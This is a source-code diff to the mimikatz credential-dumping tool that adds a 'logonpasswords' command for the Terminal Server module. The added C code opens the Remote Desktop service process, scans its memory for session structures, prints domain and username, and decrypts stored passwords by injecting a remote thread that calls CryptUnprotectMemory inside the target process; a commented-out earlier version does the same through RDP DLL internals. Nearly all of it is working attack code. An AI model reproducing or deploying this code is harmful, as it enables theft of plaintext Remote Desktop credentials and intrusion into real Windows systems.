diff --git a/mimikatz/mimikatz.vcxproj b/mimikatz/mimikatz.vcxproj
index 9becd6c..e2a8f14 100644
--- a/mimikatz/mimikatz.vcxproj
+++ b/mimikatz/mimikatz.vcxproj
@@ -120,6 +120,7 @@
+
@@ -233,6 +234,7 @@
+
diff --git a/mimikatz/mimikatz.vcxproj.filters b/mimikatz/mimikatz.vcxproj.filters
index 2529a0f..099d09c 100644
--- a/mimikatz/mimikatz.vcxproj.filters
+++ b/mimikatz/mimikatz.vcxproj.filters
@@ -320,6 +320,9 @@
local modules\dpapi\packages
+
+ common modules
+
@@ -659,6 +662,9 @@
local modules\dpapi\packages
+
+ common modules
+
diff --git a/mimikatz/modules/kuhl_m_ts.c b/mimikatz/modules/kuhl_m_ts.c
index b65799d..a2ba13a 100644
--- a/mimikatz/modules/kuhl_m_ts.c
+++ b/mimikatz/modules/kuhl_m_ts.c
@@ -9,6 +9,8 @@ const KUHL_M_C kuhl_m_c_ts[] = {
{kuhl_m_ts_multirdp, L"multirdp", L"[experimental] patch Terminal Server service to allow multiples users"},
{kuhl_m_ts_sessions, L"sessions", NULL},
{kuhl_m_ts_remote, L"remote", NULL},
+ {kuhl_m_ts_logonpasswords, L"logonpasswords", L"[experimental] try to get passwords from running sessions"},
+// {kuhl_m_ts_logonpasswords2, L"logonpasswords2", L"[experimental] try to get passwords from running sessions"},
};
const KUHL_M kuhl_m_ts = {
L"ts", L"Terminal Server module", NULL,
@@ -170,4 +172,238 @@ NTSTATUS kuhl_m_ts_remote(int argc, wchar_t * argv[])
}
else PRINT_ERROR(L"Argument id is needed\n");
return STATUS_SUCCESS;
-}
\ No newline at end of file
+}
+
+const BYTE MyPattern[] = {0x00, 0x00, 0x00, 0x00, 0xbb, 0x47, 0x0b, 0x00};
+NTSTATUS kuhl_m_ts_logonpasswords(int argc, wchar_t * argv[])
+{
+ SERVICE_STATUS_PROCESS ServiceStatusProcess;
+ HANDLE hProcess;
+ STRUCT_DATASEARCH myDataSearch = {NULL, {(LPVOID) MyPattern, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}};
+
+ if(kull_m_service_getUniqueForName(L"TermService", &ServiceStatusProcess))
+ {
+ if(ServiceStatusProcess.dwCurrentState >= SERVICE_RUNNING)
+ {
+ if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD, FALSE, ServiceStatusProcess.dwProcessId))
+ {
+ if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &myDataSearch.hMemory))
+ {
+ kull_m_process_getMemoryInformations(myDataSearch.hMemory, kuhl_m_ts_logonpasswords_MemoryAnalysis, &myDataSearch);
+ kull_m_memory_close(myDataSearch.hMemory);
+ }
+ }
+ else PRINT_ERROR_AUTO(L"OpenProcess");
+ }
+ else PRINT_ERROR(L"Service is not running\n");
+ }
+ else PRINT_ERROR_AUTO(L"kull_m_service_getUniqueForName");
+ return STATUS_SUCCESS;
+}
+
+BOOL CALLBACK kuhl_m_ts_logonpasswords_MemoryAnalysis(PMEMORY_BASIC_INFORMATION pMemoryBasicInformation, PVOID pvArg)
+{
+ PSTRUCT_DATASEARCH pMyDataSearch = (PSTRUCT_DATASEARCH) pvArg;
+ KULL_M_MEMORY_SEARCH sMemory;
+
+ if((pMemoryBasicInformation->Type == MEM_PRIVATE) && (pMemoryBasicInformation->State != MEM_FREE) && (pMemoryBasicInformation->Protect == PAGE_READWRITE))
+ {
+ sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory = pMyDataSearch->hMemory;
+ sMemory.kull_m_memoryRange.kull_m_memoryAdress.address = pMemoryBasicInformation->BaseAddress;
+ sMemory.kull_m_memoryRange.size = pMemoryBasicInformation->RegionSize;
+
+ if(kull_m_memory_search(&pMyDataSearch->aPattern, sizeof(MyPattern), &sMemory, TRUE)) // lucky only one by segment
+ {
+ kuhl_m_ts_logonpasswords_MemoryAnalysis_candidate(pMyDataSearch->hMemory, sMemory.result);
+ }
+ }
+ return TRUE;
+}
+
+void kuhl_m_ts_logonpasswords_MemoryAnalysis_candidate(PKULL_M_MEMORY_HANDLE hProcess, PVOID Addr)
+{
+ WTS_KIWI clientData;
+ KULL_M_MEMORY_ADDRESS aLocal = {&clientData, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aProcess = {Addr, hProcess};
+ BOOL decStatus = TRUE;
+
+ if(aProcess.address)
+ {
+ if(kull_m_memory_copy(&aLocal, &aProcess, sizeof(WTS_KIWI)))
+ {
+ if(clientData.cbDomain < sizeof(clientData.Domain))
+ {
+ if(clientData.cbUsername < sizeof(clientData.UserName))
+ {
+ if(clientData.cbPassword < sizeof(clientData.Password))
+ {
+ kprintf(
+ L"\n Domain : %.*s\n"
+ L" UserName : %.*s\n",
+ clientData.cbDomain / sizeof(wchar_t), clientData.Domain,
+ clientData.cbUsername/ sizeof(wchar_t), clientData.UserName
+ );
+
+ if(clientData.cbPassword && (MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_10))
+ {
+ decStatus = kull_m_crypto_remote_CryptUnprotectMemory(hProcess, clientData.Password, sizeof(clientData.Password), CRYPTPROTECTMEMORY_SAME_PROCESS);
+ }
+
+ if(decStatus)
+ {
+ kprintf(L" Password : %.*s\n", clientData.cbPassword / sizeof(wchar_t), clientData.Password);
+ }
+ }
+ }
+ }
+ }
+ }
+}
+
+/*
+const char c_CRDPWDUMXStack[] = "CRDPWDUMXStack";
+NTSTATUS kuhl_m_ts_logonpasswords(int argc, wchar_t * argv[])
+{
+ SERVICE_STATUS_PROCESS ServiceStatusProcess;
+ HANDLE hProcess;
+ KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION iModule;
+
+ KULL_M_MEMORY_ADDRESS aPattern = {(LPVOID) c_CRDPWDUMXStack, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
+ KULL_M_MEMORY_SEARCH sMemory = {{{NULL, NULL}, 0}, NULL};
+
+ STRUCT_MYSEARCH mySearch = {NULL, 0xdbcaabcd, 0x00000001};
+ STRUCT_DATASEARCH myDataSearch = {NULL, {&mySearch, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}};
+
+ if(kull_m_service_getUniqueForName(L"TermService", &ServiceStatusProcess))
+ {
+ if(ServiceStatusProcess.dwCurrentState >= SERVICE_RUNNING)
+ {
+ if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD, FALSE, ServiceStatusProcess.dwProcessId))
+ {
+ if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory))
+ {
+ if(kull_m_process_getVeryBasicModuleInformationsForName(sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory, (MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_BUILD_10_1809) ? L"rdpserverbase.dll" : L"rdpcorets.dll", &iModule))
+ {
+ kprintf(L"Module @ 0x%p (%u)\n", iModule.DllBase.address, iModule.SizeOfImage);
+
+ sMemory.kull_m_memoryRange.kull_m_memoryAdress.address = iModule.DllBase.address;
+ sMemory.kull_m_memoryRange.size = iModule.SizeOfImage;
+
+ if(kull_m_memory_search(&aPattern, sizeof(c_CRDPWDUMXStack), &sMemory, TRUE))
+ {
+ myDataSearch.hMemory = sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory;
+ mySearch.pCRDPWDUMXStack = (LPCSTR) sMemory.result;
+ kprintf(L"CRDPWDUMXStack @ 0x%p\n", mySearch.pCRDPWDUMXStack);
+ kull_m_process_getMemoryInformations(myDataSearch.hMemory, kuhl_m_ts_logonpasswords_MemoryAnalysis, &myDataSearch);
+ }
+ }
+ else PRINT_ERROR_AUTO(L"kull_m_process_getVeryBasicModuleInformationsForName");
+ kull_m_memory_close(myDataSearch.hMemory);
+ }
+ }
+ else PRINT_ERROR_AUTO(L"OpenProcess");
+ }
+ else PRINT_ERROR(L"Service is not running\n");
+ }
+ else PRINT_ERROR_AUTO(L"kull_m_service_getUniqueForName");
+
+ return STATUS_SUCCESS;
+}
+
+BOOL CALLBACK kuhl_m_ts_logonpasswords_MemoryAnalysis(PMEMORY_BASIC_INFORMATION pMemoryBasicInformation, PVOID pvArg)
+{
+ PSTRUCT_DATASEARCH pMyDataSearch = (PSTRUCT_DATASEARCH) pvArg;
+ KULL_M_MEMORY_SEARCH sMemory;
+
+ if((pMemoryBasicInformation->Type == MEM_PRIVATE) && (pMemoryBasicInformation->State != MEM_FREE) && (pMemoryBasicInformation->Protect == PAGE_READWRITE))
+ {
+ sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory = pMyDataSearch->hMemory;
+ sMemory.kull_m_memoryRange.kull_m_memoryAdress.address = pMemoryBasicInformation->BaseAddress;
+ sMemory.kull_m_memoryRange.size = pMemoryBasicInformation->RegionSize;
+
+ if(kull_m_memory_search(&pMyDataSearch->aPattern, sizeof(STRUCT_MYSEARCH), &sMemory, TRUE))
+ {
+ kuhl_m_ts_logonpasswords_MemoryAnalysis_candidate(pMyDataSearch->hMemory, (PBYTE) sMemory.result - FIELD_OFFSET(UNK_STRUCT0, pCRDPWDUMXStack));
+ }
+ }
+ return TRUE;
+}
+
+void kuhl_m_ts_logonpasswords_MemoryAnalysis_candidate(PKULL_M_MEMORY_HANDLE hProcess, PVOID Addr)
+{
+ UNK_STRUCT0 unkStruct0;
+ PVOID unk0;
+ WTS_KIWI clientData;
+ KULL_M_MEMORY_ADDRESS aLocal = {&unkStruct0, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aProcess = {Addr, hProcess};
+
+ if(Addr)
+ {
+ kprintf(L"\n[ %p ]\n", Addr);
+ //kprintf(L"\nEntry\n=====\n");
+ if(kull_m_memory_copy(&aLocal, &aProcess, sizeof(UNK_STRUCT0)))
+ {
+ kprintf(L" unkp0 : %p\n", unkStruct0.unkp0);
+ kprintf(L" unkp1 : %p\n", unkStruct0.unkp1);
+
+ kprintf(L" pCRDPWDUMXStack : %p\n", unkStruct0.pCRDPWDUMXStack);
+ kprintf(L" unk0 : 0x%08x\n", unkStruct0.unk0);
+ kprintf(L" unk1 : 0x%08x\n", unkStruct0.unk1);
+
+ kprintf(L" unkThis0 : %p\n", unkStruct0.unkThis0);
+ kprintf(L" unk2 : 0x%08x\n", unkStruct0.unk2);
+
+ kprintf(L" unkp2 : %p\n", unkStruct0.unkp2);
+ kprintf(L" ImageBase : %p\n", unkStruct0.ImageBase);
+ kprintf(L" unkp3 : %p\n", unkStruct0.unkp3);
+ kprintf(L" unkp4 : %p\n", unkStruct0.unkp4);
+ kprintf(L" unkp5 : %p\n", unkStruct0.unkp5);
+
+ kprintf(L" unk3 : 0x%08x\n", unkStruct0.unk3);
+ kprintf(L" unk4 : 0x%08x\n", unkStruct0.unk4);
+ kprintf(L" unk5 : 0x%08x\n", unkStruct0.unk5);
+ kprintf(L" unk6 : 0x%08x\n", unkStruct0.unk6);
+ kprintf(L" unk7 : 0x%08x\n", unkStruct0.unk7);
+
+ kprintf(L" unkp6 : %p\n", unkStruct0.unkp6);
+ kprintf(L" unkp7 : %p\n", unkStruct0.unkp7);
+ kprintf(L" unkp8 : %p\n", unkStruct0.unkp8);
+ kprintf(L" unkp9 : %p\n", unkStruct0.unkp9);
+ kprintf(L" unkp10 : %p\n", unkStruct0.unkp10);
+ kprintf(L" + 1160 : %p\n", (PBYTE) unkStruct0.unkp10 + 1160);
+ kprintf(L" unkp11 : %p\n", unkStruct0.unkp11);
+ kprintf(L" unkp12 : %p\n", unkStruct0.unkp12);
+
+ aLocal.address = &unk0;
+ aProcess.address = (PBYTE) unkStruct0.unkp10 + 1160; // 2019
+ //aProcess.address = (PBYTE) unkStruct0.unkp8 + 1160; // 2016
+
+
+ if(aProcess.address)
+ {
+ if(kull_m_memory_copy(&aLocal, &aProcess, sizeof(PVOID)))
+ {
+ aLocal.address = &clientData;
+ aProcess.address = unk0;
+
+ if(aProcess.address)
+ {
+ if(kull_m_memory_copy(&aLocal, &aProcess, sizeof(WTS_KIWI)))
+ {
+ kull_m_string_wprintf_hex(&clientData, 8, 1); kprintf(L"\n");
+
+ kprintf(L" 0 : 0x%08x\n", clientData.unk0);
+ kprintf(L" Magic : 0x%08x\n", clientData.unk1);
+ kprintf(L" Domain : %.*s\n", clientData.cbDomain / sizeof(wchar_t), clientData.Domain);
+ kprintf(L" UserName : %.*s\n", clientData.cbUsername/ sizeof(wchar_t), clientData.UserName);
+ // kprintf(L" Password(e): "); kull_m_string_wprintf_hex(clientData.Password, sizeof(clientData.Password), 0); kprintf(L"\n");
+ if(kull_m_crypto_remote_CryptUnprotectMemory(hProcess, clientData.Password, sizeof(clientData.Password), CRYPTPROTECTMEMORY_SAME_PROCESS))
+ {
+ kprintf(L" Password : %.*s\n", clientData.cbPassword / sizeof(wchar_t), clientData.Password);
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+}
+*/
\ No newline at end of file
diff --git a/mimikatz/modules/kuhl_m_ts.h b/mimikatz/modules/kuhl_m_ts.h
index c5ce8f0..622f799 100644
--- a/mimikatz/modules/kuhl_m_ts.h
+++ b/mimikatz/modules/kuhl_m_ts.h
@@ -5,16 +5,21 @@
*/
#pragma once
#include "kuhl_m.h"
-#include "../modules/kull_m_patch.h"
-#include "../modules/kull_m_service.h"
-#include "../modules/kull_m_process.h"
-#include "../modules/kull_m_memory.h"
+#include "../../modules/kull_m_patch.h"
+#include "../../modules/kull_m_service.h"
+#include "../../modules/kull_m_process.h"
+#include "../../modules/kull_m_memory.h"
+#include "../../modules/kull_m_crypto_remote.h"
const KUHL_M kuhl_m_ts;
NTSTATUS kuhl_m_ts_multirdp(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_ts_sessions(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_ts_remote(int argc, wchar_t * argv[]);
+NTSTATUS kuhl_m_ts_logonpasswords(int argc, wchar_t * argv[]);
+
+BOOL CALLBACK kuhl_m_ts_logonpasswords_MemoryAnalysis(PMEMORY_BASIC_INFORMATION pMemoryBasicInformation, PVOID pvArg);
+void kuhl_m_ts_logonpasswords_MemoryAnalysis_candidate(PKULL_M_MEMORY_HANDLE hProcess, PVOID Addr);
#define LOGONID_CURRENT ((ULONG) -1)
#define SERVERHANDLE_CURRENT ((HANDLE) NULL)
@@ -194,4 +199,62 @@ extern BOOLEAN WINAPI WinStationQueryInformationW(IN HANDLE hServer, IN ULONG Se
extern BOOLEAN WINAPI WinStationSetInformationW(IN HANDLE hServer, IN ULONG SessionId, IN WINSTATIONINFOCLASS WinStationInformationClass, IN PVOID pWinStationInformation, IN ULONG WinStationInformationLength);
extern LPWSTR NTAPI RtlIpv4AddressToStringW(IN const IN_ADDR *Addr, OUT LPWSTR S);
-extern LPWSTR NTAPI RtlIpv6AddressToStringW(IN const PVOID /*IN6_ADDR **/Addr, OUT LPWSTR S);
\ No newline at end of file
+extern LPWSTR NTAPI RtlIpv6AddressToStringW(IN const PVOID /*IN6_ADDR **/Addr, OUT LPWSTR S);
+
+typedef struct _STRUCT_DATASEARCH {
+ PKULL_M_MEMORY_HANDLE hMemory;
+ KULL_M_MEMORY_ADDRESS aPattern;
+} STRUCT_DATASEARCH, *PSTRUCT_DATASEARCH;
+
+#define WTS_DOMAIN_LENGTH 255
+#define WTS_USERNAME_LENGTH 255
+#define WTS_PASSWORD_LENGTH 255
+#pragma pack(push, 2)
+typedef struct _WTS_KIWI {
+ DWORD unk0;
+ DWORD unk1;
+ WORD cbDomain;
+ WORD cbUsername;
+ WORD cbPassword;
+ DWORD unk2;
+ WCHAR Domain[WTS_DOMAIN_LENGTH + 1];
+ WCHAR UserName[WTS_USERNAME_LENGTH + 1];
+ WCHAR Password[WTS_PASSWORD_LENGTH + 1];
+} WTS_KIWI, *PWTS_KIWI;
+#pragma pack(pop)
+
+/*
+typedef struct _STRUCT_MYSEARCH {
+ LPCSTR pCRDPWDUMXStack; // "CRDPWDUMXStack"
+ DWORD unk0; // 0xdbcaabcd
+ DWORD unk1; // 0x00000001
+} STRUCT_MYSEARCH, *PSTRUCT_MYSEARCH;
+
+typedef struct _UNK_STRUCT0 { // 0x2f8
+ PVOID unkp0; // &CTSAsyncResultImpl::`vftable'{for `INonDelegatingUnknown'};
+ PVOID unkp1; // &CTSUnknownCrossModule::`vftable'{for `CTSObject'};
+ LPCSTR pCRDPWDUMXStack; // "CRDPWDUMXStack"
+ DWORD unk0; // 0xdbcaabcd
+ DWORD unk1; // 0x00000001
+ PVOID unkThis0; // this
+ DWORD unk2; // 0, 2 ?
+ PVOID unkp2; // &CTSUnknownCrossModule::`vftable'
+ PVOID ImageBase; //
+ PVOID unkp3; // &CRDPWDUMXStack::`vftable'{for `IRDPWDUMX_StackEx'};
+ PVOID unkp4; // &CRDPWDUMXStack::`vftable'{for `IRDPENCNetStreamEvents'};
+ PVOID unkp5; // &CRDPWDUMXStack::`vftable'{for `IRDPNetworkDetectTransport'};
+ DWORD unk3; // 1 ?
+ DWORD unk4; // ?
+ DWORD unk5; // 1 ?
+ DWORD unk6; // 59 ?
+ DWORD unk7; //
+ // align
+ PVOID unkp6; //
+ PVOID unkp7; //
+ PVOID unkp8;
+ PVOID unkp9;
+ PVOID unkp10; /// :)
+ PVOID unkp11;
+ PVOID unkp12;
+} UNK_STRUCT0, *PUNK_STRUCT0;
+*/
\ No newline at end of file
diff --git a/modules/kull_m_crypto_remote.c b/modules/kull_m_crypto_remote.c
new file mode 100644
index 0000000..c31b0de
--- /dev/null
+++ b/modules/kull_m_crypto_remote.c
@@ -0,0 +1,54 @@
+/* Benjamin DELPY `gentilkiwi`
+ https://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : https://creativecommons.org/licenses/by/4.0/
+*/
+#include "kull_m_crypto_remote.h"
+
+#pragma optimize("", off)
+DWORD WINAPI kull_m_crypto_remote_thread_CryptProtectMemory_Generic(PREMOTE_LIB_DATA lpParameter) // to Protect & Unprotect
+{
+ lpParameter->output.outputData = lpParameter->input.inputData;
+ lpParameter->output.outputSize = lpParameter->input.inputSize;
+ lpParameter->output.outputStatus = ((PCRYPTUNPROTECTMEMORY) 0x4141414141414141)(lpParameter->input.inputData, lpParameter->input.inputSize, lpParameter->input.inputDword);
+
+ return STATUS_SUCCESS;
+}
+DWORD kull_m_crypto_remote_thread_CryptProtectMemory_Generic_end(){return 'kipr';}
+#pragma optimize("", on)
+
+BOOL WINAPI kull_m_crypto_remote_CryptProtectMemory_Generic(__in PKULL_M_MEMORY_HANDLE hProcess, __in BOOL bIsProtect, __inout LPVOID pDataIn, __in DWORD cbDataIn, __in DWORD dwFlags)
+{
+ BOOL status = FALSE;
+ PREMOTE_LIB_INPUT_DATA iData;
+ REMOTE_LIB_OUTPUT_DATA oData;
+
+ REMOTE_EXT extensions[] = {
+ {L"dpapi.dll", "CryptProtectMemory", (PVOID) 0x4141414141414141, NULL},
+ {L"dpapi.dll", "CryptUnprotectMemory", (PVOID) 0x4141414141414141, NULL},
+ };
+ MULTIPLE_REMOTE_EXT extForCb = {1, bIsProtect ? &extensions[0] : &extensions[1]};
+ KULL_M_MEMORY_ADDRESS aRemoteFunc;
+
+ if(kull_m_remotelib_CreateRemoteCodeWitthPatternReplace(hProcess, kull_m_crypto_remote_thread_CryptProtectMemory_Generic, (DWORD) ((PBYTE) kull_m_crypto_remote_thread_CryptProtectMemory_Generic_end - (PBYTE) kull_m_crypto_remote_thread_CryptProtectMemory_Generic), &extForCb, &aRemoteFunc))
+ {
+ if(iData = kull_m_remotelib_CreateInput(NULL, dwFlags, cbDataIn, pDataIn))
+ {
+ if(kull_m_remotelib_create(&aRemoteFunc, iData, &oData))
+ {
+ status = (BOOL) oData.outputStatus;
+
+ if(status)
+ {
+ RtlCopyMemory(pDataIn, oData.outputData, min(cbDataIn, oData.outputSize));
+ }
+ // LocalFree oData.outputData ?
+ }
+ LocalFree(iData);
+ }
+ kull_m_memory_free(&aRemoteFunc);
+ }
+ else PRINT_ERROR(L"kull_m_remotelib_CreateRemoteCodeWitthPatternReplace\n");
+
+ return status;
+}
\ No newline at end of file
diff --git a/modules/kull_m_crypto_remote.h b/modules/kull_m_crypto_remote.h
new file mode 100644
index 0000000..17d2859
--- /dev/null
+++ b/modules/kull_m_crypto_remote.h
@@ -0,0 +1,16 @@
+/* Benjamin DELPY `gentilkiwi`
+ https://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : https://creativecommons.org/licenses/by/4.0/
+*/
+#pragma once
+#include "globals.h"
+#include "kull_m_remotelib.h"
+
+//typedef BOOL (WINAPI * PCRYPTPROTECTMEMORY) (__inout LPVOID pDataIn, __in DWORD cbDataIn, __in DWORD dwFlags);
+typedef BOOL (WINAPI * PCRYPTUNPROTECTMEMORY) (__inout LPVOID pDataIn, __in DWORD cbDataIn, __in DWORD dwFlags);
+
+BOOL WINAPI kull_m_crypto_remote_CryptProtectMemory_Generic(__in PKULL_M_MEMORY_HANDLE hProcess, __in BOOL bIsProtect, __inout LPVOID pDataIn, __in DWORD cbDataIn, __in DWORD dwFlags);
+
+#define kull_m_crypto_remote_CryptProtectMemory(hProcess, pDataIn, cbDataIn, dwFlags) kull_m_crypto_remote_CryptProtectMemory_Generic(hProcess, TRUE, pDataIn, cbDataIn, dwFlags)
+#define kull_m_crypto_remote_CryptUnprotectMemory(hProcess, pDataIn, cbDataIn, dwFlags) kull_m_crypto_remote_CryptProtectMemory_Generic(hProcess, FALSE, pDataIn, cbDataIn, dwFlags)
\ No newline at end of file